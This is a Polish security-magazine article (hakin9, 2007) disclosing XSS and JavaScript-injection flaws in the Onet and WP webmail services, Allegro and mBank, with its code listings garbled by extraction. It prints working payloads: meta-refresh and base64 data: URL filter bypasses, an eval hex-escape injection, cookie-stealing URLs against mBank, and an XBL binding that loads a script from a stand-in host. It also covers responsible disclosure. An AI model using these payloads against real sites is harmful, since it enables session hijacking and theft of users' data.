W przypadku Onetu mamy do czy-

nienia z bardzo rygorystycznym syste-
mem.  Wszelkiego  rodzaju  podejrza-
ne  znaczniki  są  albo  usuwane,  albo 
zastępowane  przez  div-y.  Można  by 
tu  polemizować,  czy  aż  taki  poziom 
zabezpieczeń  jest  konieczny,  ale  nie 
można kwestionować tego, iż na pew-
no  jest  skuteczny.  Onet  popełnił  jed-
nak jeden błąd. Mianowicie zawartość 
załącznika html, wyświetlanego za po-
mocą funkcji pokaż nie jest tak dobrze 
oczyszczana, a co za tym idzie, moż-
liwe jest wstrzyknięcie naszego kodu. 
W  przypadku  Wirtualnej  Polski  ma-
my do czynienia z innym podejściem. 
Skanuje  ona  w  ten  sam  sposób  za-
równo  treść  maila,  jak  i  załączniki 
html. Sposób skanowania jest jednak 
mniej restrykcyjny. Spójrzmy na przy-
kład, jak są filtrowane znaczniki posia-
dające atrybuty src lub href. Otóż, nie 
zezwala się w mailu na obecność od-
wołań do zewnętrznych serwisów. Je-
śli  zatem  odwołamy  się,  np.  do  ser-

wera  http://server.com,  nasz  text  zo-
stanie poprzedzony przez x. Jak wie-
my, żadna przeglądarka nie obsługu-
je protokołu xhttp, xftp, xhtpps, itp. Po 
wykryciu  któregokolwiek  z  wyżej  wy-
mienionych atrybutów dokonywane są 
opisywane  zmiany,  a  użytkownik  jest 
pytany, czy dane treści mają być od-
blokowane, czyli przywrócone do sta-
nu pierwotnego. Informuje się go rów-
nież,  że  może  to  stanowić  dla  niego 
zagrożenie.  To  podejście  ma  jedną 

Listing 1. 

Kod korzystający 

z XMLHttpRequest, 

lang=JavaScript

var

 

req

;

function

 

SendRequest

(

url

)

{

   

if

(!

req

)

    

{

     

if

(

window

.

XMLHttpRequest

)

     

{

      

try

        

{

      

req

 

=

 

new

 

XMLHttpRequest

();

            

}

            

catch

(

e

)

            

{

           

req

 

=

 

false

;

        

}

       

}

    

}

   

if

(

req

)

   

{

       

req

.

open

(

"GET"

,

url

,

true

);

         

req

.

send

(

null

);

         

return

 

true

;

     }

    

return

 

false

;

}

Listing 2. 

Kod korzystający 

z obiektu Image, 

lang=JavaScript

function

 

SendRequest2

(

url

)

{

    

var

 

img

=

new

 

Image

();

    img.src=url;

}

Listing 3. 

Kod czyszczący dokument i dodający do jego treści obiekt 

iframe, lang=JavaScript

document

.

setTimeout

(

'

document

.

innerHTML

=

””

;

'

   

+

'

document

.

innerHTML

=

<

iframe

 

width

=

100

%

 

height

=

100

%

'

   +' src=

http://www.hakin9.org

></iframe>”;',100);

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

12

wadę. Jeśli bowiem skrypt serwisu nie 
ma  zakodowanego  jakiegoś  specy-
ficznego  wykorzystania  JavaScript  w 
danej przeglądarce, nie będzie w sta-
nie go wychwycić, co spowoduje eg-
zekucję kodu od razu po otwarciu ma-
ila. W tym momencie trzeba przyznać, 
że  rozwiązanie  Onetu  jest  bardziej 
wszechstronne. Przyjrzyjmy się nastę-
pującemu plikowi html, który znajduje 
się na Listingu 4.

Jak  widzimy  przeglądarka  zare-

aguje  na  taki  kod  przeniesieniem  na 

stronę  javascript:alert(document.co-

okie), co w przypadku większości po-
pularnych  przeglądarek  spowoduje 
uruchomienie kodu JavaScript w kon-
tekście właśnie przeglądanej domeny. 
Innymi słowy ten szczególny kod do-
prowadzi  do  wyświetlenia  się  ciaste-
czek  zapamiętanych  w  przeglądar-
ce dla aktualnie przeglądanej strony, 
w  tym  kluczy  sesji,  id  użytkownika  i 
innych  prywatnych  danych.  Jak  już 
wspomniałem  wcześniej,  w  przypad-
ku  Onetu  konieczne  jest  otworzenie 
tego załącznika funkcją pokażw WP 
wystarczy  natomiast  próba  przeczy-
tania maila. Ponadto w tym przypad-
ku,  ponieważ  serwis  nie  wykrył  żad-
nych znanych słów bądź zwrotów klu-
czowych,  nie  jesteśmy  nawet  powia-
damiani  o  grożącym  nam  niebezpie-
czeństwie.  Spójrzmy  więc  na  efekty 
widoczne na Rysunku 1 i 2.

Jak  łatwo  zauważyć,  atakujący 

ma  bardzo  łatwy  dostęp  do  wszyst-
kich  naszych  danych,  a  dzięki  luce 
Session  Fixation  możliwe  jest  prze-
jęcie  kontroli  nad  otwartym  kontem, 
ściągnięcie listy kontaktów, czytanie , 
kasowanie, pisanie maili i wszystko to, 
do czego ma prawo zalogowany użyt-
kownik. Ciekawym aspektem sprawy 
jest to, że internauta nie ma żadnego 
sposobu na uniknięcie ataku, oprócz 
wyłączenia  obsługi  JavaScript,  co 
jednak  wielokrotnie  utrudnia  lub  na-
wet  uniemożliwia  obsługę  poczty  za 
pomocą przeglądarki.

W  dzień  po  opisaniu  wyżej  wy-

mienionego  problemu  na  łamach 
mojego  blogu  zauważyłem  zmianę 
w sposobie działania WP. Nie wiem, 
czy  była  to  reakcja  na  moje  odkry-
cie,  czy  zwykły  zbieg  okoliczności. 
Nie mniej jednak, po krótkiej analizie 
okazało się, że Wirtualna Polska fil-
truje zwrot javascript: i zamienia go 
na, co w naszym wypadku uniemoż-
liwia  egzekucję.  Postanowiłem  nie-
znacznie zmodyfikować kod wysyła-
nego przez nas pliku, możemy zoba-
czyć to na Listingu 5.

Wprowadzona  modyfikacja  wyni-

ka z faktu, iż przeglądarki Netscape, 
Mozilla Firefox, Opera i inne potrafią 
przetwarzać  adresy  url  zakodowane 
w postaci base64. Dzięki tej modyfi-
kacji powinniśmy być w stanie ominąć 

nowo wprowadzone zabezpieczenia. 
I rzeczywiście kod wykonuje się bez 
żadnego  problemu.  Niestety,  aby 
doprowadzić  do  egzekucji  kodu  na 
przeglądarce Internet Explorer trzeba 
użyć  innej  metody  nie  wychwytywa-
nej jeszcze przez skrypty serwisu.

Po kilku dniach Onet wprowadził 

zmiany w swoim serwerze, które są 
równie  rygorystyczne  dla  załączni-
ków html, co dla treści samego maila. 
Spójrzmy na przykład zamieszczony 
w Listingu 6.

Jak widzimy jest to jak najbardziej 

poprawny  (przynajmniej  z  punktu  wi-
dzenia  validator.w3.org)  dokument 
XHTML 1.1. Odwołuje się on do arku-
sza stylów css.css i skryptu JavaScript 
script.js. Oba na serwerze server.com. 
Oprócz  tego  przeglądarka  po  prze-
tworzeniu  tego  pliku  powinna  nam 
wyświetlić napis Test w kolorze zielo-
nym i logo W3C. A teraz zobaczmy, co 
otrzymamy od Onetu – Listing 7.

Jak  możemy  zauważyć,  część 

znaczników  została  zmieniona  (do-
dano  atrybut  target,  którego  wcze-
śniej nie było), a część po prostu usu-
nięta.  Oczywiście  w  przypadku  tak 
prostej  strony  możemy  łatwo  napra-
wić wyrządzone szkody, jednakże w 
wielu sytuacjach taka naprawa może 
nam zająć sporo czasu. Poza tym w 
przypadku bardziej skomplikowanych 
stron, które używają dużej ilości CSS, 
JavaScript, itp. uszkodzenia są o wie-
le bardziej rozległe. Odebrany przez 
nas  mail  html  może  być  kompletnie 
nieczytelny.  Co  więcej,  przeprowa-
dzone przeze mnie testy wykazały, iż 
otwierając dużą ilość pustych znacz-
ników (

<<<

), możemy doprowadzić do 

usunięcia  całych  fragmentów  kodu. 
Oczywiście  po  zapisaniu  na  dysku 

Rysunek 2. 

Efekt działania skryptu w WP

Rysunek 1. 

Efekt działania skryptu w Onecie

Listing 4. 

Przykładowy plik 

html, lang=html

<

html

>

   

<

head

>

     

<

meta

 

equiv

=

"refresh"

 

content

=

"0;

  url=javascript:alert
(document.cookie);"

>

   

<

/

head

>

   

<

body

>

   

<

/

body

>

<

/

html

>

background image

Błędy w popularnych serwisach internetowych

hakin9 Nr 4/2007

www.hakin9.org

13

mail wraca do pierwotnej formy, jed-
nakże  ta  właściwość  serwisu  mo-
że  być  wykorzystana  na  niekorzyść 
użytkownika.  Wyobraźmy  sobie  sy-

tuację,  w  której  wirus  rozprzestrze-
nia się za pomocą luki w przeglądar-
ce  Internet  Explorer,  dodając  się  ja-
ko część treści maila w postaci html. 

Użytkownik  odbierający  maila  zdaje 
sobie  sprawę  z  niebezpieczeństwa  i 
dlatego nie korzysta z poczty za po-
mocą  tej  przeglądarki.  W  pewnym 
momencie  otrzymuje  na  przykład 
kartkę  świąteczną  (w  postaci  maila 
html) od rodziny. Sprawdza więc kod 
strony i nie zauważa nic podejrzane-
go. Zapisuje zatem plik na dysku jako 
pamiątkę,  ale  wirus  dołączył  własny 
kod, jako treść tego maila, ukrywając 
swoją obecność za pomocą otwiera-
nia  pustych  znaczników.  Mamy  tutaj 
do czynienia z błędem zaufania. Je-
śli ów internauta zaufa treści załącz-
nika i w późniejszym terminie otworzy 
treść  maila  za  pomocą  przeglądarki 
Internet  Explorer,  jego  komputer  zo-
stanie zainfekowany.

Gdy  kończyłem  ten  artykuł  mi-

nął  już  tydzień  odkąd  powiadomi-
łem o tych nieprawidłowościach ser-
wisy Onet.pl i WP.pl. W tym celu uży-
łem  formularzy  znajdujących  się  na 
stronach  portali.  Od  WP  nie  dosta-
łem  jeszcze  żadnej  odpowiedzi,  a 
opisane  (i  nie  opisane)  błędy  nadal 
funkcjonują. Co się tyczy Onetu, błę-
dów już nie ma, a jeden z czytelników 
mojego  blogu,  który  później  okazał 
się  pracownikiem  portalu,  pozosta-
wił  wpis  sugerujący,  iż  powinienem 
się skontaktować z Onetem poprzez 
adres  mailowy  abuse@onet.pl.  Tak 
też uczyniłem i bardzo szybko dosta-
łem odpowiedź. Ustaliliśmy, iż w przy-
szłości wykryte luki będę zgłaszał do 
Onetu w ten właśnie sposób, dając im 
co najmniej 24 godziny na ich załata-
nie. Chciałbym zachęcić również czy-
telników do takiego samego postępo-
wania,  gdyż  gwarantuje  to  bezpie-
czeństwo  użytkownikom,  dając  czas 
administratorom  na  załatanie  wykry-
tej  luki.  Powód,  dla  którego  postąpi-
łem  inaczej  był  prosty.  Nie  mogłem 
napisać  na  ten  adres,  gdyż  nie  wie-
działem o jego istnieniu. Co prawda, 
tego  typu  adresy  są  swego  rodzaju 
standardem, ale niektóre serwisy sto-
sują się do tego, a inne nie. Właśnie 
dlatego szukałem informacji na stro-
nie  portalu,  ale  tam  znalazłem  tylko 
formularz kontaktowy, z którego sko-
rzystałem.  Ogólnie  reakcję  serwisu 
należy ocenić pozytywnie. Błędy zo-
stały załatane w rozsądnym czasie, a 

Listing 5. 

Plik zmodyfikowany w celu ominięcia zabezpieczeń 

wprowadzonych przez WP, lang=html

<

html

>

   

<

head

>

      

<

META

 

HTTP

-

EQUIV

=

"refresh"

 

CONTENT

=

"0;url=data:text/html;base64,

         PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"

>

   

<

/

head

>

   

<

body

>

   

<

/

body

>

<

/

html

>

Listing 6. 

Przykładowy mail html, lang=html

<

?

xml

 

version

=

"1.0"

 

encoding

=

"iso-8859-2"

?

>

<!

DOCTYPE

 

html

 

PUBLIC

 "

-//W3C//DTD XHTML 1.1//EN"

"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"

>

<

html

 

xmlns

=

"http://www.w3.org/1999/xhtml"

 

xml

:

lang

=

"pl-PL"

>

   

<

head

>

    

<

meta

 

http

-

equiv

=

"Content-type"

 

content

=

"text/html; charset=iso-8859-2"

 

/

>

    

<

meta

 

http

-

equiv

=

"Content-Language"

 

content

=

"pl"

 /

>

    

<

title

>

 

Dokument

 

testowy

<

/

title

>

 

    

<

link

 

href

=

"http://server.com/css.css"

 

type

=

"text/css"

 

rel

=

"stylesheet"

 

/

>

    

<

script

 

src

=

"http://server.com/srcipt.js"

 

type

=

"text/javascript"

><

/

script

>

   

<

/

head

>

   

<

body

>

    

<

div

 

style

=

"color: green; text-align: center;"

>

Test

<

/

div

>

    

<

p

>

      

<

a

 

href

=

"http://validator.w3.org/check?uri=referer"

><

img

      

src

=

"http://www.w3.org/Icons/valid-xhtml10"

      

alt

=

"Valid XHTML 1.0 Strict"

 

height

=

"31"

 

width

=

"88"

 /

><

/

a

>

     

<

/

p

>

   

<

/

body

>

<

/

html

>

Listing 7. 

Odpowiedź Onetu na nasz przykładowy mail html, lang=html

<!--

 /

ad

-

config

/

[

 

ad

-

server

-

002

 

]

group

:

 @

stats

/

ad

-

config

-->

<!

DOCTYPE

 

html

 

PUBLIC

 "

-//W3C//DTD XHTML 1.1//EN"

"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"

>

<

html

 

xmlns

=

"http://www.w3.org/1999/xhtml"

 

xml

:

lang

=

"pl-PL"

>

<

head

>

<

/

head

>

<

body

>

<

div

 

style

=

"color: green; text-align: center;"

>

Test

<

/

div

>

<

p

>

<

a

 

href

=

"http://validator.w3.org/check?uri=referer"

 

target

=

'

_blank

'

><

img

 

src

=

"http://www.w3.org/Icons/valid-xhtml10"

 

alt

=

"

   Valid XHTML 1.0 Strict"

 

height

=

"31"

width

=

"88"

 /

><

/

a

>

<

/

p

>

<

/

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

14

na  wszelkie  pytania  udzielono  szyb-
kiej  i  rzeczowej  odpowiedzi.  Posta-
wa Wirtualnej Polski pozostawia jed-
nak wiele do życzenia. Mimo poinfor-

mowania portalu w podobny sposób 
(wysłałem odpowiedni mail na adres 

abuse@wp.pl)  nie  dostałem  żadnej 
odpowiedzi.  Co  prawda  po  czterech 

dniach  od  momentu  wysłania  owe-
go maila zauważyłem, że luka wyja-
śniona  powyżej  została  przez  ekipę 
portalu załatana. Nieopisane na blo-
gu błędy jednak nadal funkcjonują, co 
jest bezpośrednim wynikiem braku ja-
kiegokolwiek  kontaktu  z  moją  oso-
bą.  Ponadto  wystarczy  mała  mody-
fikacja  w  naszym  kodzie,  by  znowu 
doprowadzić do JavaScript Injection. 
Poprawka  Wirtualnej  Polski  polega 
na zmianie wartości  http-equiv z re-
fresh na _refresh. Teoretycznie zała-
twia to sprawę, w praktyce jednak nie 
jest to takie proste. Przyjrzyjmy się Li-
stingowi 8.

Oczywiście  także  tu  użytkownik 

nie  zostanie  nawet  poinformowany  o 
grożącym mu niebezpieczeństwie. Po 
kliknięciu na link zostanie uruchomio-
ny kod JavaScript. Dzieje się tak po-
nieważ wiele przeglądarek jest w sta-
nie  przetwarzać  linki  w  postaci  data: 
W tym przypadku wykorzystaliśmy ko-
dowanie base64, co skutecznie ukryło 
wszystkie słowa kluczowe. Jak można 
zauważyć, podejście do problemu, ja-
kie zaprezentowała Wirtualna Polska, 
do tej pory nie gwarantuje bezpieczeń-
stwa. Nie można się skupiać tylko na 
jednym przykładzie błędu. Takie sytu-
acje są idealne dla ludzi, których ce-
lem jest kradzież naszych danych oso-
bistych. Jak już napisałem na począt-
ku, jest to jedynie modyfikacja nasze-
go  podstawowego  pliku.  Gdyby  ad-
ministratorzy  przeanalizowali  dokład-
nie przedstawione przeze mnie przy-
kłady,  szybko  zauważyliby,  że  doda-
nie  następnej  regułki  do  wyelimino-
wania kolejnego słowa kluczowego w 
tym przypadku nie pomoże. Jak wcze-
śniej  wspomniałem,  w  całym  artyku-
le skupiłem się wyłącznie na jednym, 
prostym problemie. Ani w tym tekście, 
ani na swoim blogu nie opisywałem in-
nych  błędów,  ponieważ  zdaję  sobie 
sprawę,  iż  ich  załatanie  może  trwać 
dość długo. Mamy tutaj do czynienia z 
poważnym błędem systemowym, któ-
ry  może  skończyć  się  tragicznie  dla 
użytkowników portalu. Na prośbę por-
talu chętnie przedstawiłbym wszystkie 
zgromadzone  przeze  mnie  informa-
cje  dotyczących  defektów  zabezpie-
czeń stosowanych przez serwis. Nie-
stety  moje  spostrzeżenia  nie  spowo-

Rysunek 3. 

Efekt działania skryptu w Allegro(kod)

Rysunek 5. 

Kod z wstrzykniętym nowym elementem

Rysunek 4. 

Efekt działania skryptu w Allegro(zrzut)

background image

Błędy w popularnych serwisach internetowych

hakin9 Nr 4/2007

www.hakin9.org

15

dowały żadnej odpowiedzi, a Wirtual-
na Polska nadal pozostaje dziurawym 
portalem.

Kolejna dziura w Allegro

Allegro  jest  największym  w  Polsce 
serwisem aukcyjnym. Każdego dnia z 
jego usług korzystają tysiące interna-
tów dokonując transakcji zakupu, bądź 
sprzedaży  różnych  przedmiotów.  Je-
śli chcemy być w stanie wykonać któ-
rąkolwiek  z  tych  czynności,  musimy 
być  zalogowani  do  wewnętrznej  czę-
ści serwisu zwanej Moje Allegro. Mniej 
więcej tydzień przed Świętami Boże-
go Narodzenia ekipa hacking.pl odkry-
ła poważny błąd w zabezpieczeniach 
Allegro,  który  pozwalał  atakującemu 
na przejęcie kontroli nad kontem użyt-
kownika: wystawianie aukcji, kradzież 
danych  prywatnych  itp.  Jak  się  oka-
zało,  była  to  luka  typu  XSS,  wynika-
jąca  z  braku  odpowiedniego  oczysz-
czania zmiennej 

PHP _ SELF.

 Co praw-

da, we wstrzykniętym kodzie nie moż-
na  było  używać  cudzysłowów,  lecz 
używając  funkcji  String.fromCharCo-

de  autor  artykułu  bardzo  szybko  po-
radził  sobie  z  trudnościami  wykorzy-
stując  JavaScript  Injection  do  pełne-
go  XSS.  Około  trzech  tygodni  póź-
niej sam również zainteresowałem się 
tym serwisem. Bardzo zaskoczył mnie 
fakt, iż znalezienie kolejnego błędu za-
jęło mi 10 minut. Mimo, że portal po-
prawnie  przetwarzał  zarówno  dane 
przekazywane  w  zmiennej 

PHP _ SELF

jak i zmienne w tablicy 

$ _ GET

 oraz nie 

było możliwości wstrzyknięcia żadne-
go kodu w ten sposób, to okazało się, 
że  same  nazwy  zmiennych  nie  pod-
legały  żadnemu  sprawdzaniu.  Pod-
czas testów dowiedziałem się, iż ma-
my  pewne  ograniczenia,  ponieważ 
nie  możemy  użyć  dwóch  przydat-
nych znaków: spacji i kropki. Jak wia-
domo  większość  przydatnych  funk-
cji  JavaScript  wymaga  kropki.  Może-
my  próbować  albo  od  razu  odwołać 
się  do  zewnętrznego  skryptu  używa-
jąc  atrybutu  src,  albo  wpisywać  kod, 
który to zrobi do znacznika script. Ja 
zacząłem  od  tej  pierwszej  metody. 
Dążymy  do  wstrzyknięcia  mniej  wię-
cej  takiego  kodu  :  <script  src=http:

//server.com/xss.js></script>.  Oto  ja-
kie stoją przed nami problemy: spacja 

pomiędzy script i src oraz kropki w ad-
resie. Jak się okazuje, spację możemy 
ominąć używając tabulatora, który nie 
jest w żaden sposób filtrowany. Pozo-
staje więc tylko kwestia kropki. Na tym 
etapie  musiałem  sięgnąć  do  różnych 
artykułów dotyczących działania prze-
glądarek  internetowych.  Mniej  więcej 

po 30 minutach dowiedziałem się, że 
adres IP może zostać zapisany w for-
macie dword, czyli na przykład:  http:

//12341234/.  Stworzyłem  więc  testo-
wy plik html, który został umieszczo-
ny w Listingu 9.

Zdziwił mnie fakt, iż przeglądarka 

(zarówno Mozilla Firefox jak i Internet 

Listing 8. 

Plik zmodyfikowany w celu ominięcia nowych zabezpieczeń 

WP, lang=html

<html>

   

<

head

>

   

<

/

head

>

   

<

body

>

    

<

a

 

href

=

data

:

text

/

html

;

base64

,

      

PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

"

>

      

Kliknij

<

/

a

>

   

<

/

body

>

<

/

html

>

Listing 9. 

Plik będący próbą wykorzystania zapisu ip jako dword, 

lang=html

<

?

xml

 

version

=

"1.0"

 

encoding

=

"iso-8859-2"

?

>

<!

DOCTYPE

 

html

 

PUBLIC

 "

-//W3C//DTD XHTML 1.1//EN"

"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"

>

<

html

 

xmlns

=

"http://www.w3.org/1999/xhtml"

 

xml

:

lang

=

"pl-PL"

>

   

<

head

>

    

<

meta

 

http

-

equiv

=

"Content-type"

 

content

=

"text/html; charset=iso-8859-2"

 

/

>

    

<

meta

 

http

-

equiv

=

"Content-Language"

 

content

=

"pl"

 /

>

    

<

title

>

 

Dokument

 

testowy

<

/

title

>

 

   

<

/

head

>

   

<

body

>

    

<

script

   

src

=

http

:

//

127.0

.

0.1

:

80

/

ala

><

/

script

>

    

<

script

   

src

=

http

:

//

2130706433

:

80

/

ala

><

/

script

>

   </body>

<

/

html

>

Listing 10. 

Plik wykorzystywany do osiągnięcia XSS w przeglądarkach 

z rodziny Gecko, lang=html

<

?

xml

 

version

=

"1.0"

?

>

<

bindings

 

xmlns

=

"http://www.mozilla.org/xbl"

          

xmlns

:

xbl

=

"http://www.mozilla.org/xbl"

            

xmlns

:

html

=

"http://www.w3.org/1999/xhtml"

        

xmlns

:

xul

=

"http://www.mozilla.org/keymaster/gatekeeper/

there.is.only.xul"

>

   

<

binding

 

id

=

"xss"

>

    

<

implementation

>

      

<

constructor

>

          

alert

(

"jasio"

);

          

var

 

ala

=

document

.

createElement

(

'

script

'

);

         

ala

.

src

=

"http://server.com/xss.js"

;

        

document

.

body

.

appendChild

(

ala

);

        

alert

(

document

.

cookie

);

      

<

/

constructor

>

    

<

/

implementation

>

   

<

/

binding

>

<

/

bindings

>

.

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

16

Explorer)  uruchamiają  tylko  pierwszy 
kod.  W  logach  serwera http nie zna-
lazłem  nic  dziwnego.  Uruchomiłem 
więc  własną  aplikację  nasłuchującą 
na porcie 80, która na każde zapyta-
nie  odpowiadała  tym  samym  kodem. 
Ponownie  wykonany  został  tylko 
pierwszy kod. Przypuszczam, że jest 
to  jakieś  zabezpieczenie,  jednakże 
żadnych  szczegółowych  informacji 
na ten temat nie udało mi się znaleźć. 
Zmieniłem  wiec  taktykę.  Postanowi-
łem  wykorzystać  wiedzę  na  temat 
różnych  funkcji  JavaScript  i  po  chwili 
trafiłem  na  opis  funkcji  eval.  Jest  to 
metoda,  która  traktuje  ciąg  znaków 
jako kod i uruchamia go. To pozwala 

na  rozwiązanie  wszystkich  naszych 
problemów,  ponieważ  w  zapisie  ta-
kim  możemy  wykorzystywać  znany 
z C sposób przedstawiania znaków za 
pomocą  ich  wartości  ASCII  w  syste-
mie szesnastkowym, czyli na przykład 
kropka zmienia się w \x2e. Wystarczy 
skonstruować  więc  link,  w  którym 
jako  nazwę  zmiennej  podamy:  jasio-

%22%25&%3E%3Cscript%3E

eval('alert(document%5Cx2ecoo

kie);');%3C/script%3E,  a  otrzymamy 
rezultat widoczny na Rysunkach 3 i 4.

Teraz  tylko  modyfikujemy  nasz 

skrypt,  by  dodawał  do  kodu  strony 
nowy element i mamy już XSS – Ry-
sunek 5.

Nie  poinformowałem  portalu  o 

wykrytej  luce  czekając,  aż  admini-
stratorzy  sami  znajdą  błąd.  Jak  się 
okazało, zajęło im to ponad miesiąc. 
Jak przypuszczam Allegro liczyło na 
to, że sprawa nigdy nie ujrzy światła 
dziennego. Takie podejście nie wyda-
je się być zbyt odpowiedzialne. Użyt-
kownicy mają prawo wiedzieć o ryzy-
ku, jakie im grozi. Przypuszczam, że 
gdybym napisał maila do Allegro z py-
taniem o stan bezpieczeństwa porta-
lu przed publikacją tej informacji, do-
wiedziałbym  się,  że  serwis  jest  bez-
pieczny i żadnego ryzyka z jego użyt-
kowania nie ma i nie było. Mam na-
dzieję, że po tej historii zmieni się to 
na lepsze i błędy tak oczywiste będą 
łatane szybciej niż w miesiąc.

Problemy z 

bezpieczeństwem 

mBanku

Postanowiłem  również  rzucić  okiem 
na stronę mBanku, który jest jednym 
z dwóch największych banków wirtu-
alnych w Polsce. Niestety i tutaj zna-
lazłem kilka luk, których wykorzysta-
nie  zagrażało  użytkownikom.  Błę-
dy  w  systemie  pozwalały  na  pełen 
wgląd  do  danych  o  właścicielu  kar-
ty  (adres  zamieszkania,  email  itp.), 
historii  przelewów,  informacji  o  loka-
tach,  danych  dotyczących  kart  kre-
dytowych (numer karty, limity, produ-
cent), informacji o zaciągniętych kre-
dytach czy wykupionych ubezpiecze-
niach oraz poznanie numerów list ha-
seł jednorazowych aktualnie zalogo-
wanego użytkownika. Na samym po-
czątku przeanalizowałem portal infor-
macyjny mBanku i już tutaj natrafiłem 
na pierwszy błąd. Tekst wpisywany w 
wyszukiwarkę mSzopu nie był w ża-
den  sposób  sprawdzany,  co  pozwa-
la na wstrzyknięcie dowolnego kodu. 
Spójrzmy  na  przykładowy  link:  http:

//www.mbank.com.pl/mszop/mszuk

aj.html?query=jasio%22%3E%3C/if

rame%3E%3Cscript%3Ealert(/Blad 

w mbanku/)%3C/script%3E . Nieste-
ty, ponieważ jest to tylko część infor-
macyjna, niebezpieczeństwo nie jest 
aż tak duże, ale nadal luka może zo-
stać wykorzystana do ataku phishin-
gowego.  Pomyślny  XSS  widoczny 
jest na Rysunku 6.

Rysunek 8. 

Pomyślne przechwycenie ciasteczek

Rysunek 7. 

Fragment kodu pokazujący, jak mBank przechowuje zmienne

Rysunek 6. 

Pomyślnie wykonany XSS w części informacyjnej mBanku

background image

Błędy w popularnych serwisach internetowych

hakin9 Nr 4/2007

www.hakin9.org

17

Następnie  przyjrzałem  się  części 

wewnętrznej  serwisu.  Na  początku 
miałem mniej szczęścia. Okazało się 
bowiem,  że  serwis  filtruje  wszelkie 
możliwe znaki, które mogą być wyko-
rzystane  do  wstrzyknięcia  kodu.  Już 
miałem się poddać, gdy natknąłem się 
na  następujący  fragment  kodu,  który 
został zamieszczony na Rysunku 7.

Jakkolwiek można zauważyć war-

tość  zmiennej  sAccessFlag  nie  jest 
umieszczana  w  cudzysłowach,  a  co 
za  tym  idzie  możemy  wykonać  na 
przykład,  https://www.mbank.com.pl/

ib_termdeposits.asp?sAccessFla-

g=jasio%20style=background-ima-

ge:url%28javascript:alert%28docu-

ment.cookie%29%29  czego  efektem 
jest  przechwycenie  ciasteczka,  wi-
doczne na Rysunku 8.

Jeśli chcemy doprowadzić do XSS 

w  obu  najpopularniejszych  przeglą-
darkach (Internet Explorer i Mozilla Fi-
refox), musimy postąpić następująco. 
Najpierw stworzyć atrybut style z war-
tością -moz-binding wskazującym na 
plik, jak na Listingu 10.

Wykorzystujemy  tutaj  możliwość 

przetwarzania przez przeglądarki z ro-
dziny Mozilla atrybutu styl jako specjal-
nego pliku xml, a dokładnie możliwość 
zdefiniowania  tak  zwanego  konstruk-
tora.  W  praktyce  możemy  na  przy-
kład ustawić zachowania dla jednego 
lub wielu elementów strony tuż po ich 
utworzeniu  i  stąd  nazwa  konstruktor. 
Następnie  użyć  drugiego  atrybut  sty-
le o wartości background-image:url(ja-

vascript:..). Możemy w ten sposób wy-
konać polecenie JavaScript, które uru-
chomione  na  przeglądarce  Internet 
Explorer  doda  do  kodu  strony  nowy 
element  script  odwołujący  się  do  na-
szego skryptu. Efekty pomyślnego wy-
korzystania  powyższej  luki  możemy 
zobaczyć na Rysunkach 9 i 10.

W  tym  artykule  zostały  opisane 

cztery przykładowe serwisy. Mimo, że 
są to jedne z największych serwisów w 

polskich zasobach sieci Internet, udało 
się w nich wykryć bardzo poważne lu-
ki. Błędy te mogły zostać wykorzysta-
ne przeciwko użytkownikom serwisów 
w  celu  wykradzenia  ich  prywatnych 
danych, czy w ostateczności – pienię-
dzy.  Internet  jest  ciągle  niebezpiecz-
nym  miejscem  dla  nieświadomego 
użytkownika, który korzystając z jego 
możliwości ma do czynienia z olbrzy-
mią bazą informacji, ale również polem 
bitwy między twórcami oprogramowa-
nia i stron internetowych, a crackerami 
i phisherami starającymi się wykorzy-
stać  wszelkie  możliwe  błędy  do  kra-

dzieży  pieniędzy,  czy  spowodowania 
zwyczajnego  zamieszania.  Polskie 
portale powinny być świadome zagro-
żenia i przeciwdziałać mu. Do tej po-
ry można wykryć bardzo poważne błę-
dy w wielkich serwisach. Nie wspomnę 
tym  bardziej  o  mniejszych,  które  nie 
zajmują się nawet takimi problemami. 
Warto zaznaczyć, iż Interia po zgłosze-
niu błędów, w ciągu roku nic nie zrobi-
ła w ich sprawie. Mam jednak nadzieję, 
że w przyszłości będziemy mogli liczyć 
na staranniejsze podejście do tematu 
zabezpieczeń polskich serwisów inter-
netowych i ich wyższego poziomu. l

Rysunek 10. 

Kod strony ukazujący nasze dodane elementy

Rysunek 9. 

Pomyślny XSS, przeglądarka odwołuje się do naszego skryptu

O autorze

Michał  Majchrowicz,  student  III  roku 
informatyki  na  wydziale  Elektrotechni-
ki,  Elektroniki,  Informatyki  i  Automaty-
ki Politechniki Łódzkiej.
Kontakt: mmajchrowicz@gmail.com

background image

hakin9 Nr 4/2007

www.hakin9.org

Stanowisko mBanku

2

Podane  w  artykule  informacje  doty-
czące serwisu banku zostały dokład-
nie  przeanalizowane  przez  eksper-
tów mBanku.

Analiza wykazała, że tylko przy wy-

stąpieniu  szczególnych  okoliczności 
istniało prawdopodobieństwo wykorzy-
stania  przez  oszustów  internetowych 
pewnego  pola  do  nadużyć,  polegają-
cego na umożliwieniu przeglądania da-
nych, o których wspomniano w artyku-
le. Stwierdzono, że zagrożenie mogło-
by dotyczyć tylko zalogowanego Klien-
ta, który przy jednoczesnym korzysta-
niu  z  serwisu  transakcyjnego  mBan-
ku, wywołałby spreparowany link, prze-
słany  za  pośrednictwem  poczty  elek-
tronicznej, komunikatorów itp. Analizo-
wana sytuacja nie była zatem możliwa 
bez aktywnego udziału zalogowanego 
użytkownika, jak również nie pozwalała 

na wykonanie operacji i przelewów za-
twierdzanych  hasłem  jednorazowym 
TAN lub kodem SMS. Wskazane przez 
autorów artykułu pole do potencjalnych 
nadużyć zostało usunięte w ciągu kil-
ku godzin od momentu pojawienia się 
informacji na ten temat. Zgodnie z do-
tychczasową  praktyką  mBank  przy-
pomina swoim Klientom o stosowaniu 
podstawowych  zasad  bezpiecznego 
korzystania z Internetu i uczula, by ko-
rzystając z serwisu transakcyjnego nie 
uruchamiali oni linków przesyłanych w 
e-mailach,  wiadomościach  z  komuni-
katorów itp. Informacje dotyczące za-
bezpieczenia  komputera  osobistego 
oraz podstawowych zasad bezpiecz-
nego  korzystania  z  Sieci  zamiesz-
czone  są  w  serwisie  mBanku  (http:

//www.mbank.com.pl/przewodnik/

